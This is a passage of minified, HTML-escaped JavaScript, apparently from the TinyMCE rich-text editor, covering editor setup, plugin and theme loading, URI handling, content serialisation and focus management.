n=xw(e,t);t.editorContainer&amp;&amp;(Cw.get(t.editorContainer).style.display=e.orgDisplay,e.hidden=Cw.isHidden(t.editorContainer)),e.getElement().style.display=&quot;none&quot;,Cw.setAttrib(e.id,&quot;aria-hidden&quot;,&quot;true&quot;),n||bw(e)},Nw=Si.DOM,Ew=function(t,n,e){var r=_h.get(e),o=_h.urls[e]||t.documentBaseUrl.replace(/\/$/,&quot;&quot;);if(e=Xt.trim(e),r&amp;&amp;-1===Xt.inArray(n,e)){if(Xt.each(_h.dependencies(e),function(e){Ew(t,n,e)}),t.plugins[e])return;try{var i=new r(t,o,t.$);(t.plugins[e]=i).init&amp;&amp;(i.init(t,o),n.push(e))}catch(iE){kh.pluginInitError(t,e,iE)}}},Sw=function(e){return e.replace(/^\-/,&quot;&quot;)},Tw=function(e){return{editorContainer:e,iframeContainer:e}},kw=function(e){var t,n,r=e.getElement();return e.inline?Tw(null):(t=r,n=Nw.create(&quot;div&quot;),Nw.insertAfter(n,t),Tw(n))},_w=function(e){var t,n,r,o,i,a,u,s,c,l,f,d=e.settings,m=e.getElement();return e.orgDisplay=m.style.display,S(d.theme)?(l=(o=e).settings,f=o.getElement(),i=l.width||Nw.getStyle(f,&quot;width&quot;)||&quot;100%&quot;,a=l.height||Nw.getStyle(f,&quot;height&quot;)||f.offsetHeight,u=l.min_height||100,(s=/^[0-9\.]+(|px)$/i).test(&quot;&quot;+i)&amp;&amp;(i=Math.max(parseInt(i,10),100)),s.test(&quot;&quot;+a)&amp;&amp;(a=Math.max(parseInt(a,10),u)),c=o.theme.renderUI({targetNode:f,width:i,height:a,deltaWidth:l.delta_width,deltaHeight:l.delta_height}),l.content_editable||(a=(c.iframeHeight||a)+(&quot;number&quot;==typeof a?c.deltaHeight||0:&quot;&quot;))&lt;u&amp;&amp;(a=u),c.height=a,c):D(d.theme)?(r=(t=e).getElement(),(n=t.settings.theme(t,r)).editorContainer.nodeType&amp;&amp;(n.editorContainer.id=n.editorContainer.id||t.id+&quot;_parent&quot;),n.iframeContainer&amp;&amp;n.iframeContainer.nodeType&amp;&amp;(n.iframeContainer.id=n.iframeContainer.id||t.id+&quot;_iframecontainer&quot;),n.height=n.iframeHeight?n.iframeHeight:r.offsetHeight,n):kw(e)},Aw=function(t){var e,n,r,o,i,a,u=t.settings,s=t.getElement();return t.rtl=u.rtl_ui||t.editorManager.i18n.rtl,t.editorManager.i18n.setCode(u.language),u.aria_label=u.aria_label||Nw.getAttrib(s,&quot;aria-label&quot;,t.getLang(&quot;aria.rich_text_area&quot;)),t.fire(&quot;ScriptsLoaded&quot;),o=(n=t).settings.theme,S(o)?(n.settings.theme=Sw(o),r=Ah.get(o),n.theme=new r(n,Ah.urls[o]),n.theme.init&amp;&amp;n.theme.init(n,Ah.urls[o]||n.documentBaseUrl.replace(/\/$/,&quot;&quot;),n.$)):n.theme={},i=t,a=[],Xt.each(i.settings.plugins.split(/[ ,]/),function(e){Ew(i,a,Sw(e))}),e=_w(t),t.editorContainer=e.editorContainer?e.editorContainer:null,u.content_css&amp;&amp;Xt.each(Xt.explode(u.content_css),function(e){t.contentCSS.push(t.documentBaseURI.toAbsolute(e))}),u.content_editable?bw(t):ww(t,e)},Rw=Si.DOM,Dw=function(e){return&quot;-&quot;===e.charAt(0)},Ow=function(i,a){var u=Ri.ScriptLoader;!function(e,t,n,r){var o=t.settings,i=o.theme;if(S(i)){if(!Dw(i)&amp;&amp;!Ah.urls.hasOwnProperty(i)){var a=o.theme_url;a?Ah.load(i,t.documentBaseURI.toAbsolute(a)):Ah.load(i,&quot;themes/&quot;+i+&quot;/theme&quot;+n+&quot;.js&quot;)}e.loadQueue(function(){Ah.waitFor(i,r)})}else r()}(u,i,a,function(){var e,t,n,r,o;e=u,(n=(t=i).settings).language&amp;&amp;&quot;en&quot;!==n.language&amp;&amp;!n.language_url&amp;&amp;(n.language_url=t.editorManager.baseURL+&quot;/langs/&quot;+n.language+&quot;.js&quot;),n.language_url&amp;&amp;!t.editorManager.i18n.data[n.language]&amp;&amp;e.add(n.language_url),r=i.settings,o=a,Xt.isArray(r.plugins)&amp;&amp;(r.plugins=r.plugins.join(&quot; &quot;)),Xt.each(r.external_plugins,function(e,t){_h.load(t,e),r.plugins+=&quot; &quot;+t}),Xt.each(r.plugins.split(/[ ,]/),function(e){if((e=Xt.trim(e))&amp;&amp;!_h.urls[e])if(Dw(e)){e=e.substr(1,e.length);var t=_h.dependencies(e);Xt.each(t,function(e){var t={prefix:&quot;plugins/&quot;,resource:e,suffix:&quot;/plugin&quot;+o+&quot;.js&quot;};e=_h.createUrl(t,e),_h.load(e.resource,e)})}else _h.load(e,{prefix:&quot;plugins/&quot;,resource:e,suffix:&quot;/plugin&quot;+o+&quot;.js&quot;})}),u.loadQueue(function(){i.removed||Aw(i)},i,function(e){kh.pluginLoadError(i,e[0]),i.removed||Aw(i)})})},Bw=function(t){var e=t.settings,n=t.id,r=function(){Rw.unbind(V.window,&quot;ready&quot;,r),t.render()};if(Se.Event.domLoaded){if(t.getElement()&amp;&amp;fe.contentEditable){e.inline?t.inline=!0:(t.orgVisibility=t.getElement().style.visibility,t.getElement().style.visibility=&quot;hidden&quot;);var o=t.getElement().form||Rw.getParent(n,&quot;form&quot;);o&amp;&amp;(t.formElement=o,e.hidden_input&amp;&amp;!/TEXTAREA|INPUT/i.test(t.getElement().nodeName)&amp;&amp;(Rw.insertAfter(Rw.create(&quot;input&quot;,{type:&quot;hidden&quot;,name:n}),n),t.hasHiddenInput=!0),t.formEventDelegate=function(e){t.fire(e.type,e)},Rw.bind(o,&quot;submit reset&quot;,t.formEventDelegate),t.on(&quot;reset&quot;,function(){t.setContent(t.startContent,{format:&quot;raw&quot;})}),!e.submit_patch||o.submit.nodeType||o.submit.length||o._mceOldSubmit||(o._mceOldSubmit=o.submit,o.submit=function(){return t.editorManager.triggerSave(),t.setDirty(!1),o._mceOldSubmit(o)})),t.windowManager=yh(t),t.notificationManager=vh(t),&quot;xml&quot;===e.encoding&amp;&amp;t.on(&quot;GetContent&quot;,function(e){e.save&amp;&amp;(e.content=Rw.encode(e.content))}),e.add_form_submit_trigger&amp;&amp;t.on(&quot;submit&quot;,function(){t.initialized&amp;&amp;t.save()}),e.add_unload_trigger&amp;&amp;(t._beforeUnload=function(){!t.initialized||t.destroyed||t.isHidden()||t.save({format:&quot;raw&quot;,no_events:!0,set_dirty:!1})},t.editorManager.on(&quot;BeforeUnload&quot;,t._beforeUnload)),t.editorManager.add(t),Ow(t,t.suffix)}}else Rw.bind(V.window,&quot;ready&quot;,r)},Pw=function(e,t,n){var r=e.sidebars?e.sidebars:[];r.push({name:t,settings:n}),e.sidebars=r},Iw=Xt.each,Lw=Xt.trim,Fw=&quot;source protocol authority userInfo user password host port relative path directory file query anchor&quot;.split(&quot; &quot;),Mw={ftp:21,http:80,https:443,mailto:25},zw=function(r,e){var t,n,o=this;if(r=Lw(r),t=(e=o.settings=e||{}).base_uri,/^([\w\-]+):([^\/]{2})/i.test(r)||/^\s*#/.test(r))o.source=r;else{var i=0===r.indexOf(&quot;//&quot;);0!==r.indexOf(&quot;/&quot;)||i||(r=(t&amp;&amp;t.protocol||&quot;http&quot;)+&quot;://mce_host&quot;+r),/^[\w\-]*:?\/\//.test(r)||(n=e.base_uri?e.base_uri.path:new zw(V.document.location.href).directory,&quot;&quot;==e.base_uri.protocol?r=&quot;//mce_host&quot;+o.toAbsPath(n,r):(r=/([^#?]*)([#?]?.*)/.exec(r),r=(t&amp;&amp;t.protocol||&quot;http&quot;)+&quot;://mce_host&quot;+o.toAbsPath(n,r[1])+r[2])),r=r.replace(/@@/g,&quot;(mce_at)&quot;),r=/^(?:(?![^:@]+:[^:@\/]*@)([^:\/?#.]+):)?(?:\/\/)?((?:(([^:@\/]*):?([^:@\/]*))?@)?([^:\/?#]*)(?::(\d*))?)(((\/(?:[^?#](?![^?#\/]*\.[^?#\/.]+(?:[?#]|$)))*\/?)?([^?#\/]*))(?:\?([^#]*))?(?:#(.*))?)/.exec(r),Iw(Fw,function(e,t){var n=r[t];n&amp;&amp;(n=n.replace(/\(mce_at\)/g,&quot;@@&quot;)),o[e]=n}),t&amp;&amp;(o.protocol||(o.protocol=t.protocol),o.userInfo||(o.userInfo=t.userInfo),o.port||&quot;mce_host&quot;!==o.host||(o.port=t.port),o.host&amp;&amp;&quot;mce_host&quot;!==o.host||(o.host=t.host),o.source=&quot;&quot;),i&amp;&amp;(o.protocol=&quot;&quot;)}};zw.prototype={setPath:function(e){e=/^(.*?)\/?(\w+)?$/.exec(e),this.path=e[0],this.directory=e[1],this.file=e[2],this.source=&quot;&quot;,this.getURI()},toRelative:function(e){var t;if(&quot;./&quot;===e)return e;if(&quot;mce_host&quot;!==(e=new zw(e,{base_uri:this})).host&amp;&amp;this.host!==e.host&amp;&amp;e.host||this.port!==e.port||this.protocol!==e.protocol&amp;&amp;&quot;&quot;!==e.protocol)return e.getURI();var n=this.getURI(),r=e.getURI();return n===r||&quot;/&quot;===n.charAt(n.length-1)&amp;&amp;n.substr(0,n.length-1)===r?n:(t=this.toRelPath(this.path,e.path),e.query&amp;&amp;(t+=&quot;?&quot;+e.query),e.anchor&amp;&amp;(t+=&quot;#&quot;+e.anchor),t)},toAbsolute:function(e,t){return(e=new zw(e,{base_uri:this})).getURI(t&amp;&amp;this.isSameOrigin(e))},isSameOrigin:function(e){if(this.host==e.host&amp;&amp;this.protocol==e.protocol){if(this.port==e.port)return!0;var t=Mw[this.protocol];if(t&amp;&amp;(this.port||t)==(e.port||t))return!0}return!1},toRelPath:function(e,t){var n,r,o,i=0,a=&quot;&quot;;if(e=(e=e.substring(0,e.lastIndexOf(&quot;/&quot;))).split(&quot;/&quot;),n=t.split(&quot;/&quot;),e.length&gt;=n.length)for(r=0,o=e.length;r&lt;o;r++)if(r&gt;=n.length||e[r]!==n[r]){i=r+1;break}if(e.length&lt;n.length)for(r=0,o=n.length;r&lt;o;r++)if(r&gt;=e.length||e[r]!==n[r]){i=r+1;break}if(1===i)return t;for(r=0,o=e.length-(i-1);r&lt;o;r++)a+=&quot;../&quot;;for(r=i-1,o=n.length;r&lt;o;r++)a+=r!==i-1?&quot;/&quot;+n[r]:n[r];return a},toAbsPath:function(e,t){var n,r,o,i=0,a=[];for(r=/\/$/.test(t)?&quot;/&quot;:&quot;&quot;,e=e.split(&quot;/&quot;),t=t.split(&quot;/&quot;),Iw(e,function(e){e&amp;&amp;a.push(e)}),e=a,n=t.length-1,a=[];0&lt;=n;n--)0!==t[n].length&amp;&amp;&quot;.&quot;!==t[n]&amp;&amp;(&quot;..&quot;!==t[n]?0&lt;i?i--:a.push(t[n]):i++);return 0!==(o=(n=e.length-i)&lt;=0?a.reverse().join(&quot;/&quot;):e.slice(0,n).join(&quot;/&quot;)+&quot;/&quot;+a.reverse().join(&quot;/&quot;)).indexOf(&quot;/&quot;)&amp;&amp;(o=&quot;/&quot;+o),r&amp;&amp;o.lastIndexOf(&quot;/&quot;)!==o.length-1&amp;&amp;(o+=r),o},getURI:function(e){var t,n=this;return n.source&amp;&amp;!e||(t=&quot;&quot;,e||(n.protocol?t+=n.protocol+&quot;://&quot;:t+=&quot;//&quot;,n.userInfo&amp;&amp;(t+=n.userInfo+&quot;@&quot;),n.host&amp;&amp;(t+=n.host),n.port&amp;&amp;(t+=&quot;:&quot;+n.port)),n.path&amp;&amp;(t+=n.path),n.query&amp;&amp;(t+=&quot;?&quot;+n.query),n.anchor&amp;&amp;(t+=&quot;#&quot;+n.anchor),n.source=t),n.source}},zw.parseDataUri=function(e){var t,n;return e=decodeURIComponent(e).split(&quot;,&quot;),(n=/data:([^;]+)/.exec(e[0]))&amp;&amp;(t=n[1]),{type:t,data:e[1]}},zw.getDocumentBaseUrl=function(e){var t;return t=0!==e.protocol.indexOf(&quot;http&quot;)&amp;&amp;&quot;file:&quot;!==e.protocol?e.href:e.protocol+&quot;//&quot;+e.host+e.pathname,/^[^:]+:\/\/\/?[^\/]+\//.test(t)&amp;&amp;(t=t.replace(/[\?#].*$/,&quot;&quot;).replace(/[\/\\][^\/]+$/,&quot;&quot;),/[\/\\]$/.test(t)||(t+=&quot;/&quot;)),t};var Uw=function(e,t,n){var r,o,i,a,u;if(t.format=t.format?t.format:&quot;html&quot;,t.get=!0,t.getInner=!0,t.no_events||e.fire(&quot;BeforeGetContent&quot;,t),&quot;raw&quot;===t.format)r=Xt.trim(Uv.trimExternal(e.serializer,n.innerHTML));else if(&quot;text&quot;===t.format)r=wa(n.innerText||n.textContent);else{if(&quot;tree&quot;===t.format)return e.serializer.serialize(n,t);i=(o=e).serializer.serialize(n,t),a=Nl(o),u=new RegExp(&quot;^(&lt;&quot;+a+&quot;[^&gt;]*&gt;(&amp;nbsp;|&amp;#160;|\\s|\xa0|&lt;br \\/&gt;|)&lt;\\/&quot;+a+&quot;&gt;[\r\n]*|&lt;br \\/&gt;[\r\n]*)$&quot;),r=i.replace(u,&quot;&quot;)}return&quot;text&quot;===t.format||Ao(ar.fromDom(n))?t.content=r:t.content=Xt.trim(r),t.no_events||e.fire(&quot;GetContent&quot;,t),t.content},jw=function(e,t){t(e),e.firstChild&amp;&amp;jw(e.firstChild,t),e.next&amp;&amp;jw(e.next,t)},Vw=function(e,t,n){var r=function(e,n,t){var r={},o={},i=[];for(var a in t.firstChild&amp;&amp;jw(t.firstChild,function(t){z(e,function(e){e.name===t.name&amp;&amp;(r[e.name]?r[e.name].nodes.push(t):r[e.name]={filter:e,nodes:[t]})}),z(n,function(e){&quot;string&quot;==typeof t.attr(e.name)&amp;&amp;(o[e.name]?o[e.name].nodes.push(t):o[e.name]={filter:e,nodes:[t]})})}),r)r.hasOwnProperty(a)&amp;&amp;i.push(r[a]);for(var a in o)o.hasOwnProperty(a)&amp;&amp;i.push(o[a]);return i}(e,t,n);z(r,function(t){z(t.filter.callbacks,function(e){e(t.nodes,t.filter.name,{})})})},Hw=function(e){return e instanceof sb},qw=function(e,t){var r;e.dom.setHTML(e.getBody(),t),sh(r=e)&amp;&amp;sc.firstPositionIn(r.getBody()).each(function(e){var t=e.getNode(),n=jo.isTable(t)?sc.firstPositionIn(t).getOr(e):e;r.selection.setRng(n.toRange())})},$w=function(u,s,c){return void 0===c&amp;&amp;(c={}),c.format=c.format?c.format:&quot;html&quot;,c.set=!0,c.content=Hw(s)?&quot;&quot;:s,Hw(s)||c.no_events||(u.fire(&quot;BeforeSetContent&quot;,c),s=c.content),_.from(u.getBody()).fold(q(s),function(e){return Hw(s)?function(e,t,n,r){Vw(e.parser.getNodeFilters(),e.parser.getAttributeFilters(),n);var o=al({validate:e.validate},e.schema).serialize(n);return r.content=Ao(ar.fromDom(t))?o:Xt.trim(o),qw(e,r.content),r.no_events||e.fire(&quot;SetContent&quot;,r),n}(u,e,s,c):(t=u,n=e,o=c,0===(r=s).length||/^\s+$/.test(r)?(a=&#039;&lt;br data-mce-bogus=&quot;1&quot;&gt;&#039;,&quot;TABLE&quot;===n.nodeName?r=&quot;&lt;tr&gt;&lt;td&gt;&quot;+a+&quot;&lt;/td&gt;&lt;/tr&gt;&quot;:/^(UL|OL)$/.test(n.nodeName)&amp;&amp;(r=&quot;&lt;li&gt;&quot;+a+&quot;&lt;/li&gt;&quot;),(i=Nl(t))&amp;&amp;t.schema.isValidChild(n.nodeName.toLowerCase(),i.toLowerCase())?(r=a,r=t.dom.createHTML(i,t.settings.forced_root_block_attrs,r)):r||(r=&#039;&lt;br data-mce-bogus=&quot;1&quot;&gt;&#039;),qw(t,r),t.fire(&quot;SetContent&quot;,o)):(&quot;raw&quot;!==o.format&amp;&amp;(r=al({validate:t.validate},t.schema).serialize(t.parser.parse(r,{isRootContent:!0,insert:!0}))),o.content=Ao(ar.fromDom(n))?r:Xt.trim(r),qw(t,o.content),o.no_events||t.fire(&quot;SetContent&quot;,o)),o.content);var t,n,r,o,i,a})},Ww=Si.DOM,Kw=function(e){return _.from(e).each(function(e){return e.destroy()})},Xw=function(e){if(!e.removed){var t=e._selectionOverrides,n=e.editorUpload,r=e.getBody(),o=e.getElement();r&amp;&amp;e.save({is_removing:!0}),e.removed=!0,e.unbindAllNativeEvents(),e.hasHiddenInput&amp;&amp;o&amp;&amp;Ww.remove(o.nextSibling),Np(e),e.editorManager.remove(e),!e.inline&amp;&amp;r&amp;&amp;(i=e,Ww.setStyle(i.id,&quot;display&quot;,i.orgDisplay)),Ep(e),Ww.remove(e.getContainer()),Kw(t),Kw(n),e.destroy()}var i},Yw=function(e,t){var n,r,o,i=e.selection,a=e.dom;e.destroyed||(t||e.removed?(t||(e.editorManager.off(&quot;beforeunload&quot;,e._beforeUnload),e.theme&amp;&amp;e.theme.destroy&amp;&amp;e.theme.destroy(),Kw(i),Kw(a)),(r=(n=e).formElement)&amp;&amp;(r._mceOldSubmit&amp;&amp;(r.submit=r._mceOldSubmit,r._mceOldSubmit=null),Ww.unbind(r,&quot;submit reset&quot;,n.formEventDelegate)),(o=e).contentAreaContainer=o.formElement=o.container=o.editorContainer=null,o.bodyElement=o.contentDocument=o.contentWindow=null,o.iframeElement=o.targetElm=null,o.selection&amp;&amp;(o.selection=o.selection.win=o.selection.dom=o.selection.dom.doc=null),e.destroyed=!0):e.remove())},Gw=Si.DOM,Jw=Xt.extend,Qw=Xt.each,Zw=Xt.resolve,eN=fe.ie,tN=function(e,t,n){var r,o,i,a,u,s,c,l=this,f=l.documentBaseUrl=n.documentBaseURL,d=n.baseURI;r=l,o=e,i=f,a=n.defaultSettings,u=t,c={id:o,theme:&quot;modern&quot;,delta_width:0,delta_height:0,popup_css:&quot;&quot;,plugins:&quot;&quot;,document_base_url:i,add_form_submit_trigger:!0,submit_patch:!0,add_unload_trigger:!0,convert_urls:!0,relative_urls:!0,remove_script_host:!0,object_resizing:!0,doctype:&quot;&lt;!DOCTYPE html&gt;&quot;,visual:!0,font_size_style_values:&quot;xx-small,x-small,small,medium,large,x-large,xx-large&quot;,font_size_legacy_values:&quot;xx-small,small,medium,large,x-large,xx-large,300%&quot;,forced_root_block:&quot;p&quot;,hidden_input:!0,render_ui:!0,indentation:&quot;40px&quot;,inline_styles:!0,convert_fonts_to_spans:!0,indent:&quot;simple&quot;,indent_before:&quot;p,h1,h2,h3,h4,h5,h6,blockquote,div,title,style,pre,script,td,th,ul,ol,li,dl,dt,dd,area,table,thead,tfoot,tbody,tr,section,summary,article,hgroup,aside,figure,figcaption,option,optgroup,datalist&quot;,indent_after:&quot;p,h1,h2,h3,h4,h5,h6,blockquote,div,title,style,pre,script,td,th,ul,ol,li,dl,dt,dd,area,table,thead,tfoot,tbody,tr,section,summary,article,hgroup,aside,figure,figcaption,option,optgroup,datalist&quot;,entity_encoding:&quot;named&quot;,url_converter:(s=r).convertURL,url_converter_scope:s,ie7_compat:!0},t=$p(zp,c,a,u),l.settings=t,Bi.language=t.language||&quot;en&quot;,Bi.languageLoad=t.language_load,Bi.baseURL=n.baseURL,l.id=e,l.setDirty(!1),l.plugins={},l.documentBaseURI=new zw(t.document_base_url,{base_uri:d}),l.baseURI=d,l.contentCSS=[],l.contentStyles=[],l.shortcuts=new Qp(l),l.loadedCSS={},l.editorCommands=new pp(l),l.suffix=n.suffix,l.editorManager=n,l.inline=t.inline,l.buttons={},l.menuItems={},t.cache_suffix&amp;&amp;(fe.cacheSuffix=t.cache_suffix.replace(/^[\?\&amp;]+/,&quot;&quot;)),!1===t.override_viewport&amp;&amp;(fe.overrideViewPort=!1),n.fire(&quot;SetupEditor&quot;,{editor:l}),l.execCallback(&quot;setup&quot;,l),l.$=gn.overrideDefaults(function(){return{context:l.inline?l.getBody():l.getDoc(),element:l.getBody()}})};Jw(tN.prototype={render:function(){Bw(this)},focus:function(e){uh(this,e)},hasFocus:function(){return sh(this)},execCallback:function(e){for(var t=[],n=1;n&lt;arguments.length;n++)t[n-1]=arguments[n];var r,o=this.settings[e];if(o)return this.callbackLookup&amp;&amp;(r=this.callbackLookup[e])&amp;&amp;(o=r.func,r=r.scope),&quot;string&quot;==typeof o&amp;&amp;(r=(r=o.replace(/\.\w+$/,&quot;&quot;))?Zw(r):0,o=Zw(o),this.callbackLookup=this.callbackLookup||{},this.callbackLookup[e]={func:o,scope:r}),o.apply(r||this,Array.prototype.slice.call(arguments,1))},translate:function(e){if(e&amp;&amp;Xt.is(e,&quot;string&quot;)){var n=this.settings.language||&quot;en&quot;,r=this.editorManager.i18n;e=r.data[n+&quot;.&quot;+e]||e.replace(/\{\#([^\}]+)\}/g,function(e,t){return r.data[n+&quot;.&quot;+t]||&quot;{#&quot;+t+&quot;}&quot;})}return this.editorManager.translate(e)},getLang:function(e,t){return this.editorManager.i18n.data[(this.settings.language||&quot;en&quot;)+&quot;.&quot;+e]||(t!==undefined?t:&quot;{#&quot;+e+&quot;}&quot;)},getParam:function(e,t,n){return Kp(this,e,t,n)},nodeChanged:function(e){this._nodeChangeDispatcher.nodeChanged(e)},addButton:function(e,t){var n=this;t.cmd&amp;&amp;(t.onclick=function(){n.execCommand(t.cmd)}),t.stateSelector&amp;&amp;&quot;undefined&quot;==typeof t.active&amp;&amp;(t.active=!1),t.text||t.icon||(t.icon=e),t.tooltip=t.tooltip||t.title,n.buttons[e]=t},addSidebar:function(e,t){return Pw(this,e,t)},addMenuItem:function(e,t){var n=this;t.cmd&amp;&amp;(t.onclick=function(){n.execCommand(t.cmd)}),n.menuItems[e]=t},addContextToolbar:function(e,t){var n,r=this;r.contextToolbars=r.contextToolbars||[],&quot;string&quot;==typeof e&amp;&amp;(n=e,e=function(e){return r.dom.is(e,n)}),r.contextToolbars.push({id:Hh.uuid(&quot;mcet&quot;),predicate:e,items:t})},addCommand:function(e,t,n){this.editorCommands.addCommand(e,t,n)},addQueryStateHandler:function(e,t,n){this.editorCommands.addQueryStateHandler(e,t,n)},addQueryValueHandler:function(e,t,n){this.editorCommands.addQueryValueHandler(e,t,n)},addShortcut:function(e,t,n,r){this.shortcuts.add(e,t,n,r)},execCommand:function(e,t,n,r){return this.editorCommands.execCommand(e,t,n,r)},queryCommandState:function(e){return this.editorCommands.queryCommandState(e)},queryCommandValue:function(e){return this.editorCommands.queryCommandValue(e)},queryCommandSupported:function(e){return this.editorCommands.queryCommandSupported(e)},show:function(){this.hidden&amp;&amp;(this.hidden=!1,this.inline?this.getBody().contentEditable=!0:(Gw.show(this.getContainer()),Gw.hide(this.id)),this.load(),this.fire(&quot;show&quot;))},hide:function(){var e=this,t=e.getDoc();e.hidden||(eN&amp;&amp;t&amp;&amp;!e.inline&amp;&amp;t.execCommand(&quot;SelectAll&quot;),e.save(),e.inline?(e.getBody().contentEditable=!1,e===e.editorManager.focusedEditor&amp;&amp;(e.editorManager.focusedEditor=null)):(Gw.hide(e.getContainer()),Gw.setStyle(e.id,&quot;display&quot;,e.orgDisplay)),e.hidden=!0,e.fire(&quot;hide&quot;))},isHidden:function(){return!!this.hidden},setProgressState:function(e,t){this.fire(&quot;ProgressState&quot;,{state:e,time:t})},load:function(e){var t,n=this.getElement();return this.removed?&quot;&quot;:n?((e=e||{}).load=!0,t=this.setContent(n.value!==undefined?n.value:n.innerHTML,e),e.element=n,e.no_events||this.fire(&quot;LoadContent&quot;,e),e.element=n=null,t):void 0},save:function(e){var t,n,r=this,o=r.getElement();if(o&amp;&amp;r.initialized&amp;&amp;!r.removed)return(e=e||{}).save=!0,e.element=o,e.content=r.getContent(e),e.no_events||r.fire(&quot;SaveContent&quot;,e),&quot;raw&quot;===e.format&amp;&amp;r.fire(&quot;RawSaveContent&quot;,e),t=e.content,/TEXTAREA|INPUT/i.test(o.nodeName)?o.value=t:(!e.is_removing&amp;&amp;r.inline||(o.innerHTML=t),(n=Gw.getParent(r.id,&quot;form&quot;))&amp;&amp;Qw(n.elements,function(e){if(e.name===r.id)return e.value=t,!1})),e.element=o=null,!1!==e.set_dirty&amp;&amp;r.setDirty(!1),t},setContent:function(e,t){return $w(this,e,t)},getContent:function(e){return t=this,void 0===(n=e)&amp;&amp;(n={}),_.from(t.getBody()).fold(q(&quot;tree&quot;===n.format?new sb(&quot;body&quot;,11):&quot;&quot;),function(e){return Uw(t,n,e)});var t,n},insertContent:function(e,t){t&amp;&amp;(e=Jw({content:e},t)),this.execCommand(&quot;mceInsertContent&quot;,!1,e)},isDirty:function(){return!this.isNotDirty},setDirty:function(e){var t=!this.isNotDirty;this.isNotDirty=!e,e&amp;&amp;e!==t&amp;&amp;this.fire(&quot;dirty&quot;)},setMode:function(e){var t,n;(n=e)!==Dp(t=this)&amp;&amp;(t.initialized?Rp(t,&quot;readonly&quot;===n):t.on(&quot;init&quot;,function(){Rp(t,&quot;readonly&quot;===n)}),Sp(t,n))},getContainer:function(){return this.container||(this.container=Gw.get(this.editorContainer||this.id+&quot;_parent&quot;)),this.container},getContentAreaContainer:function(){return this.contentAreaContainer},getElement:function(){return this.targetElm||(this.targetElm=Gw.get(this.id)),this.targetElm},getWin:function(){var e;return this.contentWindow||(e=this.iframeElement)&amp;&amp;(this.contentWindow=e.contentWindow),this.contentWindow},getDoc:function(){var e;return this.contentDocument||(e=this.getWin())&amp;&amp;(this.contentDocument=e.document),this.contentDocument},getBody:function(){var e=this.getDoc();return this.bodyElement||(e?e.body:null)},convertURL:function(e,t,n){var r=this.settings;return r.urlconverter_callback?this.execCallback(&quot;urlconverter_callback&quot;,e,n,!0,t):!r.convert_urls||n&amp;&amp;&quot;LINK&quot;===n.nodeName||0===e.indexOf(&quot;file:&quot;)||0===e.length?e:r.relative_urls?this.documentBaseURI.toRelative(e):e=this.documentBaseURI.toAbsolute(e,r.remove_script_host)},addVisual:function(e){var n,r=this,o=r.settings,i=r.dom;e=e||r.getBody(),r.hasVisual===undefined&amp;&amp;(r.hasVisual=o.visual),Qw(i.select(&quot;table,a&quot;,e),function(e){var t;switch(e.nodeName){case&quot;TABLE&quot;:return n=o.visual_table_class||&quot;mce-item-table&quot;,void((t=i.getAttrib(e,&quot;border&quot;))&amp;&amp;&quot;0&quot;!==t||!r.hasVisual?i.removeClass(e,n):i.addClass(e,n));case&quot;A&quot;:return void(i.getAttrib(e,&quot;href&quot;)||(t=i.getAttrib(e,&quot;name&quot;)||e.id,n=o.visual_anchor_class||&quot;mce-item-anchor&quot;,t&amp;&amp;r.hasVisual?i.addClass(e,n):i.removeClass(e,n)))}}),r.fire(&quot;VisualAid&quot;,{element:e,hasVisual:r.hasVisual})},remove:function(){Xw(this)},destroy:function(e){Yw(this,e)},uploadImages:function(e){return this.editorUpload.uploadImages(e)},_scanForImages:function(){return this.editorUpload.scanForImages()}},Fp);var nN,rN,oN,iN={isEditorUIElement:function(e){return-1!==e.className.toString().indexOf(&quot;mce-&quot;)}},aN=function(n,e){var t,r;or.detect().browser.isIE()?(r=n).on(&quot;focusout&quot;,function(){ip(r)}):(t=e,n.on(&quot;mouseup touchend&quot;,function(e){t.throttle()})),n.on(&quot;keyup nodechange&quot;,function(e){var t;&quot;nodechange&quot;===(t=e).type&amp;&amp;t.selectionChange||ip(n)})},uN=function(e){var t,n,r,o=Vi(function(){ip(e)},0);e.inline&amp;&amp;(t=e,n=o,r=function(){n.throttle()},Si.DOM.bind(V.document,&quot;mouseup&quot;,r),t.on(&quot;remove&quot;,function(){Si.DOM.unbind(V.document,&quot;mouseup&quot;,r)})),e.on(&quot;init&quot;,function(){aN(e,o)}),e.on(&quot;remove&quot;,function(){o.cancel()})},sN=Si.DOM,cN=function(e){return iN.isEditorUIElement(e)},lN=function(t,e){var n=t?t.settings.custom_ui_selector:&quot;&quot;;return null!==sN.getParent(e,function(e){return cN(e)||!!n&amp;&amp;t.dom.is(e,n)})},fN=function(r,e){var t=e.editor;uN(t),t.on(&quot;focusin&quot;,function(){var e=r.focusedEditor;e!==this&amp;&amp;(e&amp;&amp;e.fire(&quot;blur&quot;,{focusedEditor:this}),r.setActive(this),(r.focusedEditor=this).fire(&quot;focus&quot;,{blurredEditor:e}),this.focus(!0))}),t.on(&quot;focusout&quot;,function(){var t=this;he.setEditorTimeout(t,function(){var e=r.focusedEditor;lN(t,function(){try{return V.document.activeElement}catch(e){return V.document.body}}())||e!==t||(t.fire(&quot;blur&quot;,{focusedEditor:null}),r.focusedEditor=null)})}),nN||(nN=function(e){var t,n=r.activeEditor;t=e.target,n&amp;&amp;t.ownerDocument===V.document&amp;&amp;(t===V.document.body||lN(n,t)||r.focusedEditor!==n||(n.fire(&quot;blur&quot;,{focusedEditor:null}),r.focusedEditor=null))},sN.bind(V.document,&quot;focusin&quot;,nN))},dN=function(e,t){e.focusedEditor===t.editor&amp;&amp;(e.focusedEditor=null),e.activeEditor||(sN.unbind(V.document,&quot;focusin&quot;,nN),nN=null)},mN=function(e){e.on(&quot;AddEditor&quot;,d(fN,e)),e.on(&quot;RemoveEditor&quot;,d(dN,e))},gN=Si.DOM,pN=Xt.explode,hN=Xt.each,vN=Xt.extend,yN=0,bN=!1,CN=[],xN=[],wN=function(t){var n=t.type;hN(oN.get(),function(e){switch(n){case&quot;scroll&quot;:e.fire(&quot;ScrollWindow&quot;,t);break;case&quot;resize&quot;:e.fire(&quot;ResizeWindow&quot;,t)}})},NN=function(e){e!==bN&amp;&amp;(e?gn(window).on(&quot;resize scroll&quot;,wN):gn(window).off(&quot;resize scroll&quot;,wN),bN=e)},EN=function(t){var e=xN;delete CN[t.id];for(var n=0;n&lt;CN.length;n++)if(CN[n]===t){CN.splice(n,1);break}return xN=U(xN,function(e){return 